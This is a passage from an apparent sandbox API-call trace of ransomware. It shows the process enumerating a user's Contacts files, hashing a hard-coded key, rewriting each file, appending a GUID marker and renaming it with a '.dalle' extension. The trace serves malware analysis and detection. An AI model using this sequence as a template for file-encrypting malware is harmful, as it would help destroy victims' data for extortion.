lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0119.919] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0119.919] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.919] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0119.919] CloseHandle (hObject=0x618) returned 1 [0119.919] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c1050 [0119.920] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x890) returned 0x3096780 [0119.920] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c1050 | out: hHeap=0x5e0000) returned 1 [0119.920] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact.dalle")) returned 1 [0119.920] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0119.920] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.921] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c10d8 | out: hHeap=0x5e0000) returned 1 [0119.921] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eacb1e0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eacb1e0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eacb1e0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x499, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="chucu jadnvk.contact", cAlternateFileName="CHUCUJ~1.CON")) returned 1 [0119.921] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.921] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c10d8 [0119.921] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.921] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact") returned=".contact" [0119.921] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0119.923] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=1177) returned 1 [0119.923] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0119.925] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x473, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.925] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0119.926] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0119.926] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0119.926] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.926] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x499, lpOverlapped=0x0) returned 1 [0119.926] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0119.926] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0119.926] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0119.926] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0119.926] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1050) returned 1 [0119.927] CryptCreateHash (in: hProv=0x6c1050, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0119.927] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0119.927] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0119.927] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0119.927] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0119.927] GetLastError () returned 0x0 [0119.927] SetLastError (dwErrCode=0x0) [0119.927] GetLastError () returned 0x0 [0119.928] SetLastError (dwErrCode=0x0) [0119.928] GetLastError () returned 0x0 [0119.928] SetLastError (dwErrCode=0x0) [0119.928] GetLastError () returned 0x0 [0119.928] SetLastError (dwErrCode=0x0) [0119.928] GetLastError () returned 0x0 [0119.928] SetLastError (dwErrCode=0x0) [0119.928] GetLastError () returned 0x0 [0119.928] SetLastError (dwErrCode=0x0) [0119.928] GetLastError () returned 0x0 [0119.928] SetLastError (dwErrCode=0x0) [0119.928] GetLastError () returned 0x0 [0119.928] SetLastError (dwErrCode=0x0) [0119.928] GetLastError () returned 0x0 [0119.928] SetLastError (dwErrCode=0x0) [0119.928] GetLastError () returned 0x0 [0119.928] SetLastError (dwErrCode=0x0) [0119.928] GetLastError () returned 0x0 [0119.928] SetLastError (dwErrCode=0x0) [0119.928] GetLastError () returned 0x0 [0119.928] SetLastError (dwErrCode=0x0) [0119.928] GetLastError () returned 0x0 [0119.928] SetLastError (dwErrCode=0x0) [0119.928] GetLastError () returned 0x0 [0119.928] SetLastError (dwErrCode=0x0) [0119.928] GetLastError () returned 0x0 [0119.928] SetLastError (dwErrCode=0x0) [0119.928] GetLastError () returned 0x0 [0119.928] SetLastError (dwErrCode=0x0) [0119.929] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0119.929] GetLastError () returned 0x0 [0119.929] SetLastError (dwErrCode=0x0) [0119.929] GetLastError () returned 0x0 [0119.929] SetLastError (dwErrCode=0x0) [0119.929] GetLastError () returned 0x0 [0119.929] SetLastError (dwErrCode=0x0) [0119.929] GetLastError () returned 0x0 [0119.929] SetLastError (dwErrCode=0x0) [0119.929] GetLastError () returned 0x0 [0119.929] SetLastError (dwErrCode=0x0) [0119.929] GetLastError () returned 0x0 [0119.929] SetLastError (dwErrCode=0x0) [0119.929] GetLastError () returned 0x0 [0119.929] SetLastError (dwErrCode=0x0) [0119.929] GetLastError () returned 0x0 [0119.929] SetLastError (dwErrCode=0x0) [0119.929] GetLastError () returned 0x0 [0119.929] SetLastError (dwErrCode=0x0) [0119.929] GetLastError () returned 0x0 [0119.929] SetLastError (dwErrCode=0x0) [0119.929] GetLastError () returned 0x0 [0119.929] SetLastError (dwErrCode=0x0) [0119.929] GetLastError () returned 0x0 [0119.929] SetLastError (dwErrCode=0x0) [0119.929] GetLastError () returned 0x0 [0119.929] SetLastError (dwErrCode=0x0) [0119.929] GetLastError () returned 0x0 [0119.929] SetLastError (dwErrCode=0x0) [0119.929] GetLastError () returned 0x0 [0119.930] SetLastError (dwErrCode=0x0) [0119.930] GetLastError () returned 0x0 [0119.930] SetLastError (dwErrCode=0x0) [0119.930] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0119.930] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0119.930] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fc8f40 | out: hHeap=0x5e0000) returned 1 [0119.930] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0119.930] CryptReleaseContext (hProv=0x6c1050, dwFlags=0x0) returned 1 [0119.930] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0119.930] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x4a0) returned 0x30940c0 [0119.930] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0119.930] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0119.930] WriteFile (in: hFile=0x618, lpBuffer=0x30940c0*, nNumberOfBytesToWrite=0x494, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x30940c0*, lpNumberOfBytesWritten=0x388fb24*=0x494, lpOverlapped=0x0) returned 1 [0119.930] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30940c0 | out: hHeap=0x5e0000) returned 1 [0119.930] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x499, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.930] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0119.930] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x30940c0 [0119.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x30940c0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0119.930] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0119.930] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30940c0 | out: hHeap=0x5e0000) returned 1 [0119.930] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0119.930] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0119.930] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0119.930] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.931] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0119.931] CloseHandle (hObject=0x618) returned 1 [0119.931] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c1050 [0119.931] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x890) returned 0x3096780 [0119.931] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c1050 | out: hHeap=0x5e0000) returned 1 [0119.931] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact.dalle")) returned 1 [0119.932] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0119.932] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.933] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c10d8 | out: hHeap=0x5e0000) returned 1 [0119.933] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0119.933] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.933] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x76) returned 0x6cea80 [0119.933] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.933] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\desktop.ini") returned=".ini" [0119.933] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6cea80 | out: hHeap=0x5e0000) returned 1 [0119.933] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x496, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lulcit amkdfe.contact", cAlternateFileName="LULCIT~1.CON")) returned 1 [0119.933] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.933] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c10d8 [0119.933] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.933] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact") returned=".contact" [0119.933] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0119.934] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=1174) returned 1 [0119.934] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0119.936] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x470, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.936] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0119.937] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0119.937] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0119.938] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.938] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x496, lpOverlapped=0x0) returned 1 [0119.938] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0119.938] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0119.938] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0119.938] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0119.938] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1050) returned 1 [0119.939] CryptCreateHash (in: hProv=0x6c1050, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0119.939] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0119.939] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0119.939] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0119.939] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0119.939] GetLastError () returned 0x0 [0119.939] SetLastError (dwErrCode=0x0) [0119.939] GetLastError () returned 0x0 [0119.939] SetLastError (dwErrCode=0x0) [0119.939] GetLastError () returned 0x0 [0119.939] SetLastError (dwErrCode=0x0) [0119.939] GetLastError () returned 0x0 [0119.939] SetLastError (dwErrCode=0x0) [0119.939] GetLastError () returned 0x0 [0119.939] SetLastError (dwErrCode=0x0) [0119.939] GetLastError () returned 0x0 [0119.939] SetLastError (dwErrCode=0x0) [0119.939] GetLastError () returned 0x0 [0119.939] SetLastError (dwErrCode=0x0) [0119.939] GetLastError () returned 0x0 [0119.939] SetLastError (dwErrCode=0x0) [0119.939] GetLastError () returned 0x0 [0119.939] SetLastError (dwErrCode=0x0) [0119.939] GetLastError () returned 0x0 [0119.939] SetLastError (dwErrCode=0x0) [0119.939] GetLastError () returned 0x0 [0119.939] SetLastError (dwErrCode=0x0) [0119.939] GetLastError () returned 0x0 [0119.939] SetLastError (dwErrCode=0x0) [0119.940] GetLastError () returned 0x0 [0119.940] SetLastError (dwErrCode=0x0) [0119.940] GetLastError () returned 0x0 [0119.940] SetLastError (dwErrCode=0x0) [0119.940] GetLastError () returned 0x0 [0119.940] SetLastError (dwErrCode=0x0) [0119.940] GetLastError () returned 0x0 [0119.940] SetLastError (dwErrCode=0x0) [0119.940] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0119.940] GetLastError () returned 0x0 [0119.940] SetLastError (dwErrCode=0x0) [0119.940] GetLastError () returned 0x0 [0119.940] SetLastError (dwErrCode=0x0) [0119.940] GetLastError () returned 0x0 [0119.940] SetLastError (dwErrCode=0x0) [0119.940] GetLastError () returned 0x0 [0119.940] SetLastError (dwErrCode=0x0) [0119.940] GetLastError () returned 0x0 [0119.940] SetLastError (dwErrCode=0x0) [0119.940] GetLastError () returned 0x0 [0119.940] SetLastError (dwErrCode=0x0) [0119.940] GetLastError () returned 0x0 [0119.940] SetLastError (dwErrCode=0x0) [0119.940] GetLastError () returned 0x0 [0119.940] SetLastError (dwErrCode=0x0) [0119.940] GetLastError () returned 0x0 [0119.940] SetLastError (dwErrCode=0x0) [0119.940] GetLastError () returned 0x0 [0119.940] SetLastError (dwErrCode=0x0) [0119.940] GetLastError () returned 0x0 [0119.941] SetLastError (dwErrCode=0x0) [0119.941] GetLastError () returned 0x0 [0119.941] SetLastError (dwErrCode=0x0) [0119.941] GetLastError () returned 0x0 [0119.941] SetLastError (dwErrCode=0x0) [0119.941] GetLastError () returned 0x0 [0119.941] SetLastError (dwErrCode=0x0) [0119.941] GetLastError () returned 0x0 [0119.941] SetLastError (dwErrCode=0x0) [0119.941] GetLastError () returned 0x0 [0119.941] SetLastError (dwErrCode=0x0) [0119.941] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0119.941] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0119.941] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fc8f40 | out: hHeap=0x5e0000) returned 1 [0119.941] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0119.941] CryptReleaseContext (hProv=0x6c1050, dwFlags=0x0) returned 1 [0119.941] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0119.941] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x4a0) returned 0x30940c0 [0119.941] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0119.941] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0119.941] WriteFile (in: hFile=0x618, lpBuffer=0x30940c0*, nNumberOfBytesToWrite=0x491, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x30940c0*, lpNumberOfBytesWritten=0x388fb24*=0x491, lpOverlapped=0x0) returned 1 [0119.941] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30940c0 | out: hHeap=0x5e0000) returned 1 [0119.941] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x496, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.941] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0119.941] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x30940c0 [0119.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x30940c0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0119.941] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0119.942] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30940c0 | out: hHeap=0x5e0000) returned 1 [0119.942] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0119.942] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0119.942] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0119.942] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.942] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0119.942] CloseHandle (hObject=0x618) returned 1 [0119.942] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c1050 [0119.943] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x890) returned 0x3096780 [0119.943] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c1050 | out: hHeap=0x5e0000) returned 1 [0119.943] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact.dalle")) returned 1 [0119.943] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0119.943] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.944] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c10d8 | out: hHeap=0x5e0000) returned 1 [0119.944] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 1 [0119.944] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.944] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c10d8 [0119.944] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.944] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact") returned=".contact" [0119.944] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0119.945] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=1172) returned 1 [0119.945] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0119.947] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x46e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.947] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0119.948] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0119.948] HeapFree (in: hHeap=0x5e0000, 